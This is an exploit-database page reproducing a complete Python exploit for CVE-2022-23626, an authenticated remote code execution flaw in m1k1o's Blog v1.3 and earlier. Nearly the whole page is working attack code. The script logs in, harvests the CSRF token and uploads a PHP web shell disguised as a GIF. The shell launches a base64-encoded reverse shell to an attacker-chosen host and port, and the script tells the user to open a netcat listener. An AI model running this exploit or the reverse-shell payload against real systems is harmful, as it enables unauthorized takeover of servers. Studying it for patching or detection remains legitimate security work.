m1k1os Blog v.10 Remote Code Execution (RCE) (Authenticated)
CVE
Category
Price
Severity
CVE-2022-23626
CWE-77
N/A
High
Author
Risk
Exploitation Type
Date
m1k1os
High
Remote
2022-05-24
CPE
cpe:No specific CPE URI string provided
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050080 Below is a copy:
m1k1os Blog v.10 Remote Code Execution (RCE) (Authenticated) # Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-01-06
# Exploit Author: Malte V
# Vendor Homepage: https://github.com/m1k1o/blog
# Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip
# Version: 1.3 and below
# Tested on: Linux
# CVE : CVE-2022-23626
import argparse
import json
import re
from base64 import b64encode
import requests as req
from bs4 import BeautifulSoup
parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog')
parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False)
parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost',
required=False)
parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081,
required=False)
parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999,
required=False)
parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False)
parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False)
args = vars(parser.parse_args())
username = args['username']
password = args['password']
lhost_ip = args['ip']
lhost_port = args['lport']
address = args['url']
port = args['port']
url = f"http://{address}:{port}"
blog_cookie = ""
csrf_token = ""
exploit_file_name = ""
header = {
"Host": f"{address}",
"Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"X-Requested-With": "XMLHttpRequest",
"Csrf-Token": f"{csrf_token}",
"Cookie": f"PHPSESSID={blog_cookie}"
}
def get_cookie(complete_url):
global blog_cookie
cookie_header = {}
if not blog_cookie:
cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}"
result = req.get(url=complete_url, headers=cookie_header)
if result.status_code == 200:
blog_cookie = result.cookies.get_dict()['PHPSESSID']
print(f'[+] Found PHPSESSID: {blog_cookie}')
grep_csrf(result)
def grep_csrf(result):
global csrf_token
csrf_regex = r"[a-f0-9]{10}"
soup = BeautifulSoup(result.text, 'html.parser')
script_tag = str(soup.findAll('script')[1].contents[0])
csrf_token = re.search(csrf_regex, script_tag).group(0)
print(f'[+] Found CSRF-Token: {csrf_token}')
def login(username, password):
get_cookie(url)
login_url = f"{url}/ajax.php"
login_data = f"action=login&nick={username}&pass={password}"
login_header = {
"Host": f"{address}",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"X-Requested-With": "XMLHttpRequest",
"Csrf-Token": f"{csrf_token}",
"Cookie": f"PHPSESSID={blog_cookie}"
}
result = req.post(url=login_url, headers=login_header, data=login_data)
soup = BeautifulSoup(result.text, 'html.parser')
login_content = json.loads(soup.text)
if login_content.get('logged_in'):
print('[*] Successful login')
else:
print('[!] Bad login')
def set_cookie(result):
global blog_cookie
blog_cookie = result.cookies.get_dict()['PHPSESSID']
def generate_payload(command):
return f"""
-----------------------------13148889121752486353560141292
Content-Disposition: form-data; name="file"; filename="malicious.gif.php"
Content-Type: application/x-httpd-php
GIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>;
-----------------------------13148889121752486353560141292--
"""
def send_payload():
payload_header = {
"Host": f"{address}",
"Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"X-Requested-With": "XMLHttpRequest",
"Csrf-Token": f"{csrf_token}",
"Cookie": f"PHPSESSID={blog_cookie}"
}
upload_url = f"http://{address}:{port}/ajax.php?action=upload_image"
command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'"
payload = generate_payload(command)
print(f"[+] Upload exploit")
result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"})
set_exploit_file_name(result.content.decode('ascii'))
def set_exploit_file_name(data):
global exploit_file_name
file_regex = r"[a-zA-Z0-9]{4,5}.php"
exploit_file_name = re.search(file_regex, data).group(0)
def call_malicious_php(file_name):
global header
complete_url = f"{url}/data/i/{file_name}"
print('[*] Calling reverse shell')
result = req.get(url=complete_url)
def check_reverse_shell():
yes = {'yes', 'y', 'ye', ''}
no = {'no', 'n'}
choice = input("Have you got an active netcat listener (y/Y or n/N): ")
if choice in yes:
return True
elif choice in no:
print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"")
return False
def main():
enabled_listener = check_reverse_shell()
if enabled_listener:
login(username, password)
send_payload()
call_malicious_php(exploit_file_name)
if __name__ == "__main__":
main()
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum